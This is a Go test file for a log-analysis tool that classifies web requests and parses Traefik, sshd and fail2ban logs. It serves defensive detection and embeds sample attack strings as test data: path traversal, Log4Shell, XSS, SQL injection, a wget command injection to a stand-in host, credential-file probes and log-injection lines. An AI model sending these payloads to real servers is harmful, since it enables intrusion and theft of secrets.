Files
urutau/internal/core/core_test.go
T
Lucas RayanandClaude Opus 5.5 0dc3268b29
Release / Publish tags (push) Successful in 16s
Release / Plan (reuse the published image?) (push) Successful in 5s
Release / ci (push) Successful in 1m46s
Release / Build image (amd64) (push) Successful in 21s
Release / Build image (arm64) (push) Successful in 23s
CI / Format and vet (push) Successful in 24s
CI / Tests (Linux, race detector) (push) Successful in 1m22s
CI / Dependency audit (push) Successful in 27s
CI / Docker image (build and smoke test) (push) Skipped
Release / Gitea release (push) Successful in 4s
fix: 1.4.4 read Traefik text logs, degraded source alert, mobile menu
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-15 01:20:03 -03:00

291 lines
13 KiB
Go

package core
import (
"errors"
"net/netip"
"strings"
"testing"
"time"
)
func TestClassifyHTTP(t *testing.T) {
cases := []struct {
method, path string
status int
want Category
}{
{"GET", "/", 200, OK},
{"GET", "/blog/post", 200, OK},
{"GET", "/foo", 404, NotFound},
{"GET", "/img/x.png", 403, NotFound},
{"GET", "/.env", 404, Scanner},
{"GET", "/app/.env.local", 200, Scanner},
{"GET", "/.git/config", 404, Scanner},
{"GET", "/.aws/credentials", 404, Scanner},
{"GET", "/wp-config.php.bak", 404, Scanner},
{"GET", "/phpmyadmin/index.php", 404, Scanner},
{"GET", "/phpinfo.php", 200, OK},
{"GET", "/phpinfo.php", 404, Scanner},
{"GET", "/server-status", 403, Scanner},
{"GET", "/dump.sql", 200, OK},
{"GET", "/dump.sql", 404, Scanner},
{"GET", "/backup.zip", 200, OK},
{"GET", "/backup.zip", 403, Scanner},
{"GET", "/downloads/report.zip", 200, OK},
{"GET", "/x.zip", 404, Scanner},
{"GET", "/vendor/phpunit/src/Util/PHP/eval-stdin.php", 404, Scanner},
{"GET", "/cgi-bin/luci", 404, Scanner},
{"GET", "/actuator/env", 404, Scanner},
{"GET", "/.DS_Store", 404, Scanner},
{"GET", "/config.json", 404, Scanner},
{"GET", "/config.json", 200, OK},
{"GET", "/wp-admin/install.php", 200, Scanner},
{"GET", "/wp-content/plugins/foo/readme.txt", 404, Scanner},
{"GET", "/wp-content/plugins/foo/style.css", 200, OK},
{"GET", "/index.php?file=../../etc/passwd", 200, Exploit},
{"GET", "/a/%2e%2e/%2e%2e/b", 400, Exploit},
{"GET", "/a/%252e%252e/b", 400, Exploit},
{"GET", "/?q=${jndi:ldap://x/a}", 200, Exploit},
{"GET", "/?q=<script>alert(1)</script>", 200, Exploit},
{"GET", "/?id=1%20union%20select%201", 200, Exploit},
{"GET", "/?x=base64_decode(abc)", 200, Exploit},
{"GET", "/?x=a;wget http://e/x", 200, Exploit},
{"GET", "/?cmd=id", 200, OK},
{"GET", "/?a=eval(x)", 200, OK},
{"GET", "/?f=php://input", 200, Exploit},
{"GET", "/shell", 404, Exploit},
{"GET", "/.github/workflows/x.yml", 200, OK},
{"GET", "/.git", 404, Scanner},
{"GET", "/assets/site.zip", 200, OK},
{"GET", "/downloads/db.tar.gz", 200, OK},
{"GET", "/app?cmd=build", 200, OK},
{"GET", "/blog/how-to-use-|sh", 200, OK},
{"GET", "/actuator/health", 200, OK},
{"GET", "/docs/phpinfo-explained", 200, OK},
{"GET", "/shell.php", 404, Exploit},
{"GET", "/shellfish", 200, OK},
{"POST", "/wp-login.php", 200, BruteForce},
{"POST", "/wp-login.php", 302, OK},
{"GET", "/wp-login.php", 200, OK},
{"GET", "/xmlrpc.php", 405, BruteForce},
{"POST", "/xmlrpc.php", 200, BruteForce},
{"POST", "/api/login", 401, BruteForce},
{"GET", "/api/me", 401, NotFound},
}
for _, c := range cases {
if got := ClassifyHTTP(c.method, c.path, c.status); got != c.want {
t.Errorf("%s %s %d: got %s want %s", c.method, c.path, c.status, got, c.want)
}
}
}
func TestParseTraefik(t *testing.T) {
line := `{"ClientAddr":"45.94.31.244:56918","ClientHost":"45.94.31.244","ClientPort":"56918","ClientUsername":"-","DownstreamContentSize":12602,"DownstreamStatus":200,"Duration":175244150,"RequestHost":"cienciaembarcada.com.br","RequestMethod":"POST","RequestPath":"/wp-login.php","RequestProtocol":"HTTP/1.1","RequestScheme":"https","RouterName":"https-0-fwl1r20xzp8uf2g48log9q49-wordpress-1870@docker","StartUTC":"2026-11-14T17:19:37.101916386Z","entryPointName":"https","request_User-Agent":"Mozilla/5.0","time":"2026-11-14T17:19:37Z"}`
ev, err := ParseTraefik([]byte(line))
if err != nil {
t.Fatal(err)
}
if ev.IP != "45.94.31.244" || ev.Cat != BruteForce || ev.Domain != "cienciaembarcada.com.br" || ev.UA != "Mozilla/5.0" || ev.Status != 200 {
t.Fatalf("unexpected %+v", ev)
}
if !ev.Time.Equal(time.Date(2026, 11, 14, 17, 19, 37, 101916386, time.UTC)) {
t.Fatalf("time %v", ev.Time)
}
if _, err := ParseTraefik([]byte(`{not json`)); err == nil {
t.Fatal("malformed must error")
}
if _, err := ParseTraefik([]byte(`{"ClientHost":"nope","StartUTC":"2026-11-14T17:19:37Z"}`)); !errors.Is(err, ErrIgnored) {
t.Fatal("bad ip must be ignored")
}
ev, err = ParseTraefik([]byte(`{"ClientHost":"1.2.3.4","RequestPath":"/a\u0000b<img src=x onerror=alert(1)>","StartUTC":"2026-11-14T17:19:37Z","DownstreamStatus":404}`))
if err != nil || ev.Cat != NotFound || ev.Path == "" {
t.Fatalf("%+v %v", ev, err)
}
for _, r := range ev.Path {
if r < 0x20 {
t.Fatal("control char kept")
}
}
}
func TestParseAuth(t *testing.T) {
pre := "2026-11-14T17:31:59.022281+00:00 host sshd[123]: "
cases := []struct {
msg string
cat Category
ip string
user string
skip bool
}{
{"Invalid user admin from 203.0.113.9 port 4444", SSHFail, "203.0.113.9", "admin", false},
{"Connection closed by invalid user oracle 203.0.113.9 port 4445 [preauth]", SSHFail, "203.0.113.9", "oracle", false},
{"Connection closed by authenticating user root 203.0.113.10 port 1 [preauth]", SSHFail, "203.0.113.10", "root", false},
{"Failed password for invalid user test from 198.51.100.7 port 22 ssh2", SSHFail, "198.51.100.7", "test", false},
{"Failed password for root from 198.51.100.7 port 22 ssh2", SSHFail, "198.51.100.7", "root", false},
{"Failed publickey for ubuntu from 198.51.100.8 port 22 ssh2: RSA SHA256:x", SSHFail, "198.51.100.8", "ubuntu", false},
{"Disconnected from authenticating user root 198.51.100.7 port 22 [preauth]", SSHFail, "198.51.100.7", "root", false},
{"error: kex_exchange_identification: Connection closed by remote host", "", "", "", true},
{"Connection closed by 192.0.2.1 port 5555", SSHProbe, "192.0.2.1", "", false},
{"Protocol major versions differ for 192.0.2.2 port 5: SSH-2.0 vs. SSH-1.5", SSHProbe, "192.0.2.2", "", false},
{"Unable to negotiate with 192.0.2.3 port 6: no matching key exchange method found.", SSHProbe, "192.0.2.3", "", false},
{"Accepted publickey for lucas from 2001:db8::1 port 5 ssh2: ED25519 SHA256:x", SSHOK, "2001:db8::1", "lucas", false},
{"Server listening on 0.0.0.0 port 22.", "", "", "", true},
{"Received disconnect from 1.1.1.1 port 5:11: Bye [preauth]", "", "", "", true},
}
for _, c := range cases {
ev, err := ParseAuth(pre + c.msg)
if c.skip {
if !errors.Is(err, ErrIgnored) {
t.Errorf("%q should be ignored, got %+v %v", c.msg, ev, err)
}
continue
}
if err != nil || ev.Cat != c.cat || ev.IP != c.ip || ev.User != c.user {
t.Errorf("%q: %+v %v", c.msg, ev, err)
}
}
ev, _ := ParseAuth(pre + "Invalid user a from 1.2.3.4 port 1")
if !ev.Time.Equal(time.Date(2026, 11, 14, 17, 31, 59, 22281000, time.UTC)) {
t.Fatalf("time %v", ev.Time)
}
if _, err := ParseAuth("2026-11-14T17:31:59+00:00 host cron[1]: x"); !errors.Is(err, ErrIgnored) {
t.Fatal("non-sshd must be ignored")
}
}
func TestParseFail2ban(t *testing.T) {
ev, err := ParseFail2ban("2026-11-08 00:08:36,220 fail2ban.actions [1590587]: NOTICE [sshd] Ban 195.178.110.26")
if err != nil || ev.Cat != Ban || ev.Jail != "sshd" || ev.IP != "195.178.110.26" || ev.Unban {
t.Fatalf("%+v %v", ev, err)
}
ev, err = ParseFail2ban("2026-11-08 01:08:36,220 fail2ban.actions [1590587]: NOTICE [recidive] Unban 195.178.110.26")
if err != nil || !ev.Unban || ev.Jail != "recidive" {
t.Fatalf("%+v %v", ev, err)
}
ev, err = ParseFail2ban("2026-11-08 01:08:36,220 fail2ban.actions [1]: NOTICE [traefik-varredura] Restore Ban 1.2.3.4")
if err != nil || !ev.Restore {
t.Fatalf("%+v %v", ev, err)
}
if _, err := ParseFail2ban("2026-11-08 00:08:35,220 fail2ban.filter [1]: INFO [sshd] Found 1.2.3.4 - 2026"); !errors.Is(err, ErrIgnored) {
t.Fatal("Found must be ignored")
}
}
func TestIgnoreAndLevels(t *testing.T) {
p, err := ParseCIDRs("127.0.0.0/8,::1,10.0.0.0/8,172.16.0.0/12")
if err != nil {
t.Fatal(err)
}
for ip, want := range map[string]bool{"127.0.0.1": true, "::1": true, "10.1.2.3": true, "172.20.0.5": true, "172.32.0.1": false, "8.8.8.8": false} {
if Ignored(p, ip) != want {
t.Errorf("%s ignored=%v want %v", ip, !want, want)
}
}
if LevelFor(49.9) != LevelSuspicious || LevelFor(50) != LevelHostile || LevelFor(10) != LevelSuspicious || LevelFor(9.9) != LevelLow {
t.Fatal("levels")
}
}
func TestSoftStrongAndWeakVerdicts(t *testing.T) {
c := Classify("GET", "/config.json", 404)
if c.Cat != Scanner || c.Soft || c.Strong {
t.Fatalf("refused scanner probe: %+v", c)
}
if c := Classify("GET", "/.env", 200); c.Cat != Scanner || !c.Soft {
t.Fatalf("a 200 on /.env weighs little: %+v", c)
}
if c := Classify("GET", "/index.php?f=../../etc/passwd", 404); c.Cat != Exploit || !c.Strong || c.Soft {
t.Fatalf("refused traversal is a strong signal: %+v", c)
}
if c := Classify("GET", "/?q=union+select+tutorial", 200); c.Strong || !c.Soft {
t.Fatalf("a documentation search must not be a strong exploit: %+v", c)
}
if c := Classify("GET", "/app?cmd=build", 200); c.Cat != OK || !c.Weak {
t.Fatalf("cmd= alone is only a weak marker: %+v", c)
}
}
func TestSSHInjectionAndImpostors(t *testing.T) {
pre := "2026-11-14T10:00:00.000000+00:00 h sshd[1]: "
for _, c := range []struct{ msg, ip, user string }{
{"Invalid user a from 8.8.8.8 port 1 x from 203.0.113.9 port 4444", "203.0.113.9", ""},
{"Failed password for invalid user a from 8.8.8.8 port 1 x from 203.0.113.9 port 4444 ssh2", "203.0.113.9", ""},
{"Failed password for a from 1.1.1.1 port 1 x from 203.0.113.9 port 4444 ssh2", "203.0.113.9", ""},
{"Connection closed by invalid user x from 8.8.8.8 port 1 203.0.113.9 port 4 [preauth]", "203.0.113.9", ""},
} {
ev, err := ParseAuth(pre + c.msg)
// the user would contain " from ": such lines are discarded outright, never attributed to the fake address
if err == nil && (ev.IP == "8.8.8.8" || ev.IP == "1.1.1.1") {
t.Errorf("%q attributed to the injected address %s", c.msg, ev.IP)
}
}
ev, err := ParseAuth(pre + "Invalid user bob from 203.0.113.9 port 22")
if err != nil || ev.IP != "203.0.113.9" || ev.User != "bob" {
t.Fatalf("%+v %v", ev, err)
}
for _, l := range []string{
`2026-11-14T10:00:00.000000+00:00 h bob: sshd: Invalid user x from 8.8.8.8 port 1`,
`2026-11-14T10:00:00.000000+00:00 h sudo[12]: bob : TTY=pts/0 ; PWD=/ ; USER=root ; COMMAND=/bin/echo sshd: Failed password for root from 1.1.1.1 port 22 ssh2`,
`2026-11-14T10:00:00.000000+00:00 h logger: sshd[1]: Invalid user x from 8.8.8.8 port 1`,
`2026-11-14T10:00:00.000000+00:00 h xsshd[1]: Invalid user x from 8.8.8.8 port 1`,
} {
if ev, err := ParseAuth(l); err == nil {
t.Errorf("impostor line accepted: %q -> %+v", l, ev)
}
}
if ev, err := ParseAuth(pre + "Invalid user u from 2001:db8::1%zz#evil port 22"); err == nil {
t.Fatalf("a zone must be rejected: %+v", ev)
}
}
func TestZonesAreRejectedEverywhere(t *testing.T) {
for _, in := range []string{"fe80::1%x#;rm", "2001:db8::1%eth0\n8.8.8.8", "::1%x"} {
if ip, ok := cleanIP(in); ok {
t.Errorf("cleanIP(%q) = %q", in, ip)
}
}
p, _ := ParseCIDRs("127.0.0.0/8,::1")
if !Ignored(p, "::1%x") {
t.Fatal("a zoned address must never be treated as a normal visitor")
}
if IsGlobal(netip.MustParseAddr("fe80::1%eth0")) {
t.Fatal("zoned address is not global")
}
for _, a := range []string{"10.0.0.1", "127.0.0.1", "169.254.1.1", "224.0.0.1", "0.0.0.0", "100.64.0.1", "192.0.2.1", "203.0.113.7", "2001:db8::1", "::1", "fe80::1", "::ffff:10.0.0.1"} {
if IsGlobal(netip.MustParseAddr(a)) {
t.Errorf("%s must not be global", a)
}
}
for _, a := range []string{"8.8.8.8", "45.94.31.4", "2606:4700::1111"} {
if !IsGlobal(netip.MustParseAddr(a)) {
t.Errorf("%s must be global", a)
}
}
if LevelOf(500, false, false) != LevelSuspicious || LevelOf(500, true, false) != LevelHostile || LevelOf(500, true, true) != LevelLow {
t.Fatal("LevelOf")
}
_ = strings.ToLower
}
func TestParseTraefikText(t *testing.T) {
ev, err := ParseTraefik([]byte(`10.0.15.1 - - [15/Nov/2026:04:10:51 +0000] "GET /wp-content/uploads/2026/08/IMG.jpg HTTP/2.0" 200 252131 "-" "-" 22219 "https-0-fwl1r20xzp8uf2g48log9q49-wordpress-1870@docker" "http://10.0.5.2:80" 3ms`))
if err != nil {
t.Fatal(err)
}
if ev.IP != "10.0.15.1" || ev.Method != "GET" || ev.Path != "/wp-content/uploads/2026/08/IMG.jpg" || ev.Proto != "HTTP/2.0" ||
ev.Status != 200 || ev.Bytes != 252131 || ev.UA != "" || ev.Referer != "" || ev.OriginStatus != 200 ||
ev.DurationNS != 3e6 || ev.Domain != "" || ev.Router != "https-0-fwl1r20xzp8uf2g48log9q49-wordpress-1870@docker" ||
ev.Time.Format("2006-01-02T15:04:05Z") != "2026-11-15T04:10:51Z" {
t.Fatalf("%+v", ev)
}
ev, err = ParseTraefik([]byte(`203.0.113.9 - - [15/Nov/2026:04:10:52 +0000] "POST /wp-login.php HTTP/1.1" 404 19 "https://x/\"y" "Mozilla \"q\" 5.0" 1 "web@docker" "-" 12ms`))
if err != nil || ev.Method != "POST" || ev.Status != 404 || ev.UA != `Mozilla "q" 5.0` || ev.Referer != `https://x/"y` || ev.OriginStatus != 0 {
t.Fatalf("%+v %v", ev, err)
}
for _, bad := range []string{"garbage", `1.2.3.4 - - [bad] "GET / HTTP/1.1" 200 1 "-" "-" 1`, `1.2.3.4 - - [15/Nov/2026:04:10:52 +0000] "GET / HTTP/1.1" 200 1 "-" "-`, `nope - - [15/Nov/2026:04:10:52 +0000] "GET / HTTP/1.1" 200 1 "-" "-" 1`} {
if _, err := ParseTraefik([]byte(bad)); err == nil {
t.Errorf("accepted %q", bad)
}
}
}